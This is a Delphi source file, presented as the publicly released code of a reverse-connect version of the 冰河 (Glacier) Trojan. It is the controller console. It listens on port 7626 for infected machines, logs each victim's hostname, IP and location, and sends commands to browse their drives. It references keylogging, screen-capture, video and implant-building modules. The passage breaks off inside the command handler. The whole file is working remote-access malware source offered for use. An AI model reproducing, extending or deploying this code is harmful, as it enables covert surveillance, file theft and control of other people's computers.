unit1.pas

冰河反弹版之独孤夕客专版 今天我决定把这个版本的冰河反弹版程序源码公布

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, Buttons, ComCtrls, ToolWin, ExtCtrls, StdCtrls, ImgList,
  IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, ScktComp, OleCtrls, SHDocVw,
   IdTCPServer,jpeg,untTQQWry,SHELLAPI;

type
  TMainForm = class(TForm)
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N10: TMenuItem;
    N11: TMenuItem;
    N12: TMenuItem;
    N13: TMenuItem;
    N14: TMenuItem;
    CoolBar1: TCoolBar;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ConnectBtn: TSpeedButton;
    RemoveComputerBtn: TSpeedButton;
    SrhBtn: TSpeedButton;
    ToolButton2: TToolButton;
    CapScrBtn: TSpeedButton;
    MsgerBtn: TSpeedButton;
    ToolButton3: TToolButton;
    SpeedButton6: TSpeedButton;
    SpeedButton7: TSpeedButton;
    ToolButton4: TToolButton;
    SpeedButton8: TSpeedButton;
    ToolButton5: TToolButton;
    HideBtn: TSpeedButton;
    ExitBtn: TSpeedButton;
    ToolBar2: TToolBar;
    ToolButton6: TToolButton;
    Panel1: TPanel;
    Label1: TLabel;
    ComboBox1: TComboBox;
    ToolButton7: TToolButton;
    Panel2: TPanel;
    Label2: TLabel;
    PortEdit1: TEdit;
    ToolButton8: TToolButton;
    Panel3: TPanel;
    Label3: TLabel;
    Edit2: TEdit;
    Button1: TButton;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    ImageList1: TImageList;
    StatusBar1: TStatusBar;
    IdAntiFreeze1: TIdAntiFreeze;
    TabSheet2: TTabSheet;
    WebBrowser1: TWebBrowser;
    ListView1: TListView;
    IdTCPServer1: TIdTCPServer;
    SaveDialog1: TSaveDialog;

    procedure ConnectBtnClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure SrhBtnClick(Sender: TObject);
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure ListView1Click(Sender: TObject);
    procedure ListView1Change(Sender: TObject; Item: TListItem;
      Change: TItemChange);
    procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
    procedure SpeedButton6Click(Sender: TObject);
    procedure SpeedButton7Click(Sender: TObject);
    procedure SpeedButton8Click(Sender: TObject);
    procedure CapScrBtnClick(Sender: TObject);
    procedure MsgerBtnClick(Sender: TObject);
    procedure N11Click(Sender: TObject);
    procedure RemoveComputerBtnClick(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure ExitBtnClick(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure HideBtnClick(Sender: TObject);
    procedure N14Click(Sender: TObject);
   private
    { Private declarations }
  public
     FleshIPList: TStringlist; {存放IP地理位置的列表}
     function SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
     procedure ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
     function GetIPtoAdder(IpName: string): string;
      procedure IdTCPServer1WorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: Integer);
      procedure IdTCPServer1WorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
      procedure IdTCPServer1Work(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCount: Integer);
    { Public declarations }
  end;

type // 服务器的会话信息。
  Ponlineinf = ^Tonlineinf;
  Tonlineinf = record
    ServerName: string[30];   {服务器主机名称}
    AThread : TIdPeerThread;  {服务器线程}
    Soc: integer;             {服务器线程ID}
    ServerAdd: string[15];    {服务器IP地址}
    AdderStr: string;         {地理位置}
  end;

var
  MainForm: TMainForm;
  MyFirstBmp:TMemoryStream;
  OnlineServer: array[0..100] of Tonlineinf;
  CurrentThread: TIdPeerThread;
  count:integer;
  //SysDev: TSysDevEnum;
  //Videolist:TStringlist;
implementation
   uses FileControl,Process,WindowM,Keyrecord, Autoconnect,VideoUnit, Unit2,CreateServer,OpenModeUnit,ProgressUnit,About;
{$R *.dfm}
{$R Server.res}
function TMainForm.SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
var
  MyStream: TMemoryStream;
  i:integer;
begin
  try
    MyStream:=TMemoryStream.Create;
    MyStream.Write(Cmd[1],Length(Cmd));
    MyStream.Position:=0;
    i:=MyStream.size;
    AThread.Connection.WriteLn(inttostr(i));
    AThread.Connection.WriteStream(MyStream);
    Result := True;
  except
    AThread.Connection.Disconnect;
    AThread.Terminate;
    MyStream.Free;
    Result := False;
  end;
    MyStream.Free;
end;

function ReadSeverStream(AThread: TIdPeerThread; var TempStr: string): Boolean;
var
  RsltStream: TMemoryStream;
  TheSize:integer;
begin
  try
    RsltStream := TmemoryStream.Create;
    TheSize := AThread.Connection.ReadInteger;
    AThread.Connection.ReadStream(RsltStream, TheSize, False);
    RsltStream.Position := 0;
    SetLength(TempStr, RsltStream.Size);
    RsltStream.Read(TempStr[1],RsltStream.Size);
    Result := True;
  except
    AThread.Connection.Disconnect;
    AThread.Terminate;
    RsltStream.Free;
    Result := False;
  end;
    RsltStream.Free;
end;

procedure TMainForm.ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
begin
 MainForm.Enabled :=  isbreak;
  try
    if not SendStreamToServer(CurrentThread,Miling+#13+Qita) then
    begin
     showmessage('连接出错!');
     exit;
    end;
  except
    MainForm.Enabled := True;
  end;
   MainForm.Enabled := True;
end;

function getfilesize(str: string): string;
var len: integer;
begin
    len := pos('|', str); //文件夹目录主要操作
    result := copy(str, 1, len - 1);
end;

function TMainForm.GetIPtoAdder(IpName: string): string; {从IP地址得到所在地理位置}
var
  QQWry: TQQWry;
  slIPData: TStringlist;
  IPRecordID: int64;
begin
  Result := '';
  try
      QQWry:=TQQWry.Create(ExtractFilePath(Paramstr(0)) + 'QQWry.dat');
      IPRecordID:=QQWry.GetIPDataID(IpName);
      slIPData:=TStringlist.Create;
      QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
      QQWry.Destroy;
      Result := slIPData[3];
      //(format('ID: %d IP: %s - %s 国家: %s 地区: %s', [IPRecordID, slIPData[0], slIPData[1], slIPData[2], slIPData[3]]));
      slIPData.Free;
  except //IP地址格式不对!
    Result := 'IP地址格式不对!';
  end; //
  if Result = '' then Result :='【未知数据】' ;
end;

procedure TMainForm.ConnectBtnClick(Sender: TObject);
begin
   AutoForm.Show;
end;



procedure TMainForm.FormCreate(Sender: TObject);
var
  IPFile: string;
  MyStream: TMemoryStream;
  MyStream1: TMemoryStream;
begin
   count:=0;
   MyFirstBmp:=TMemoryStream.Create;
   WebBrowser1.Navigate('http://www.duguxike.com');
   IdTCPServer1.DefaultPort:=7626;
    IdTCPServer1.Active:=true;
   if  IdTCPServer1.Active then
   StatusBar1.Panels.Items[0].Text:='打开临听端口7626成功,请等待服务端上线!';
   StatusBar1.Panels.Items[1].Text:='在线主机0台';
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
     MyFirstBmp.Free;
     FleshIPList.Free;
end;






procedure TMainForm.SrhBtnClick(Sender: TObject);
var
i:integer;
begin
  //  if SendStreamToServer(CurrentThread,'001') then
 // CurrentThread.Connection.WriteLn('001');
     for i:=0 to FileForm.TreeView1.Items.Count-1 do
     begin
     if FileForm.TreeView1.Items.Item[i].ImageIndex=6 then
      begin
        if FileForm.TreeView1.Items.Item[i].HasChildren then
           FileForm.TreeView1.Items.Item[i].DeleteChildren;
        FileForm.TreeView1.Items.Item[i].Delete;
        break;
      end;
     end;
     FileForm.Show;
end;

procedure TMainForm.IdTCPServer1Execute(AThread: TIdPeerThread);
var
  MyStream: TMemoryStream;
  RecCMD,TempStr: string;
  ListItem:TListItem;
  RootDStrList: TStringList;
  Tmpmemo: TStringlist;
  TheLItem: TListItem;
  tmplinestr, symbolstr, tmptimestr: string;
  Drivernum, i,j:integer;
  TMP: TTreeNode;
  BufferLen: Integer;
  MyBuffer: array[0..1000000] of byte;
  memStream: TMemoryStream;
  jpg: TJpegImage;
  ASize:Int64;
  AFileStream: TFileStream;
begin
   try
    RecCMD:=AThread.Connection.ReadLn();
   except
       try
       AThread.Connection.Disconnect;
       AThread.Terminate;
       except
       end;
     Exit;
   end;
   case strtoint(RecCMD) of
000: begin
      if ReadSeverStream(AThread,TempStr) then
      begin
       Tmpmemo:= TStringlist.Create;
       Tmpmemo.Clear;
       Tmpmemo.Text:= TempStr;
       OnlineServer[count].ServerName:= Tmpmemo.Strings[0];
       OnlineServer[count].AThread:=AThread;
       OnlineServer[count].Soc:= AThread.ThreadID;
       OnlineServer[count].ServerAdd:= AThread.Connection.Socket.Binding.PeerIP;
       ListItem:= ListView1.Items.Add;
       ListItem.Caption:=OnlineServer[count].ServerName+'-'+inttostr(OnlineServer[count].Soc);
       ListItem.SubItems.Add(OnlineServer[count].ServerAdd);
       ListItem.SubItems.Add(MainForm.GetIPtoAdder(AThread.Connection.Socket.Binding.PeerIP));
       ListItem.SubItems.Add(Tmpmemo.Strings[1]);
       ListItem.ImageIndex:=0;
       inc(count);
       Tmpmemo.Free;
      end;
     end;
001: begin
       FileForm.Enabled:=false;
       if ReadSeverStream(AThread,TempStr) then
       begin
       RootDStrList:=TStringList.Create;
       RootDStrList.Text := TempStr;
       FileForm.ListView1.Items.Clear;
           if FileForm.Treeview1.Selected.HasChildren then
              FileForm.Treeview1.Selected.DeleteChildren;

           for i := 0 to RootDStrList.Count - 1 do
            begin
             if RootDStrList[i] = '' then Break;
             TempStr := Copy(RootDStrList[i], 1, 2);
              TMP := FileForm.Treeview1.items.AddChild(FileForm.Treeview1.Selected, TempStr);
             Drivernum := StrtoInt(Copy(RootDStrList[i], 3, 1));

              TMP.ImageIndex :=7;
              TMP.SelectedIndex := 7;

               TMP := FileForm.Treeview1.items.AddChild(TMP, 'Loading...');
               TMP.ImageIndex := -1;
               TMP.SelectedIndex := -1;
               with FileForm.ListView1.Items.Add do
                 begin
                  Caption := TempStr;
                  subitems.text :=' ';
                  ImageIndex := 2;
                 end;
            end;

       end;
       FileForm.Enabled:=true;
     end;
002: begin
       FileForm.Enabled:=false;
        if ReadSeverStream(AThread,TempStr) then
        begin
          Tmpmemo:= TStringlist.Create;
          Tmpmemo.Clear;
          Tmpmemo.Text:= TempStr;